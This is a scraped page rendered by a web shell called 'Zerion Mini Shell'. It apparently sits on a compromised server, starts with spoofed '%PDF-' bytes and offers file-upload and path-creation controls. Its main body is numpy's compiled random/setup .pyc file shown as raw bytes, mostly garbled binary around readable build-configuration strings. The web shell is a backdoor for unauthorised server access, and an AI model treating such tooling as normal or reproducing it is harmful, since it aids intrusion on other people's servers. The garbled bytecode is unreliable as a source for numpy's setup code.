%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/random/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/random/__pycache__/setup.cpython-39.pyc

a

z[ycV�@sxddlZddlZddlZddlmZddlmZe���d�oJe���d�Z	ddd�Z
ed	krtdd
lm
Z
e
e
d�dS)
�N)�join)�
platform_bitsZWindowsZMS�cs�ddlm}m�|d||����fdd�}tjdd�dkrDdg}ngd	�}|�d
���d���d���d
�g}dg}tj	dkr�|�d�dg}t
r�tdkr�|dg7}nt
s�|dg7}tjdkr�|dg7}dg}g}	gd�}
gd�}dd�}�jd|dg|gd�d�dD]j}
�j
d |
��d |
�d!�d"|
�d#|
�d!�d"|
�d#|
�d$�gd%d&td&|
�g||||
d |
�d'�g|d(��qd)D]t}
|
d*k�r�||	n|}�j
d |
��d |
�d!�d"|
�d#|
�d!�gd%d&td&|
�g||||
d |
�d'�d+d,g|d(��q�d-D]P}
�j
|
|
�d!�g|||d%d&g|
|
�d'�|
�d.�g|d/���|
�d.���q�d0D]>}
�j
|
|
�d!�g|d1g|d%d&g||
|
�d'�g|d2��qR��d3�tj	dk�r�dd1gnd1g}�j
d4gd5�gd6�||||
d7g||d(��j|
���d8��S)9Nr)�
Configuration�get_mathlibsZrandomcs6���}��}tjdkr&|�ddg�|j�|�dS)N�win32ZAdvapi32ZKernel32)Zget_config_cmd�sys�platform�extend�	libraries)�extZ	build_dirZ
config_cmdZlibs�Zconfigr��8/usr/lib64/python3.9/site-packages/numpy/random/setup.py�generate_librariess
z)configuration.<locals>.generate_libraries�Zaix)Z_LARGE_FILESN))Z_FILE_OFFSET_BITSZ64)Z_LARGEFILE_SOURCE�1)Z_LARGEFILE64_SOURCEr)ZNPY_NO_DEPRECATED_APIrZtestsz
tests/dataZ	_examplesZ	npyrandom�nt�mz-U__GNUC_GNU_INLINE__� z
/arch:SSE2z-std=c99�cygwinz-Wl,--export-all-symbols)ZNP_RANDOM_LEGACYr)z__init__.pxdzc_distributions.pxd�bit_generator.pxd)z src/distributions/logfactorial.c�!src/distributions/distributions.cz%src/distributions/random_mvhg_count.cz)src/distributions/random_mvhg_marginals.cz)src/distributions/random_hypergeometric.ccSs|jjdkrdgSgS)z� Add flag if we are using MSVC compiler

        We can't see this in our scope, because we have not initialized the
        distutils build command, so use this deferred calculation to run when
        we are building the library.
        Zmsvcz/GL-)ZcompilerZ
compiler_type)Z	build_cmdrrr�
gl_if_msvcLsz!configuration.<locals>.gl_if_msvc�lib)�include_dirsZextra_compiler_args)�sourcesZinstall_dirZ
build_info)Zmt19937�_z.czsrc/�/z-jump.c�.�srcz.pyx)rrr�extra_compile_args�extra_link_args�depends�
define_macros)Zphilox�pcg64Zsfc64r%zbit_generator.pyxr)Z_commonZ
bit_generatorz.pxd)rrr!r"rr#r$)Z
_generatorZ_bounded_integersZnpymath)rrr!rr"r#r$z_bounded_integers.pxdZmtrand)zmtrand.cz!src/legacy/legacy-distributions.cr)rr z
src/legacyz
mtrand.pyxz*.pyi)Znumpy.distutils.misc_utilrrrr	�appendZadd_subpackageZadd_data_dir�os�name�is_msvcrZadd_installed_library�
add_extensionrZadd_data_files)�parent_packageZtop_pathrrZdefsZEXTRA_LINK_ARGSZEXTRA_LIBRARIESZEXTRA_COMPILE_ARGSZLEGACY_DEFSZ
PCG64_DEFSr#Znpyrandom_sourcesr�genZ_defsZmtrand_libsrr
r�
configurations�










��
��

���

�	
�
	
�

r-�__main__)�setup)r-)rN)r'r	rZos.pathrZnumpy.distutils.system_infor�
startswithZpython_compilerr)r-�__name__Znumpy.distutils.corer/rrrr�<module>s�


Zerion Mini Shell 1.0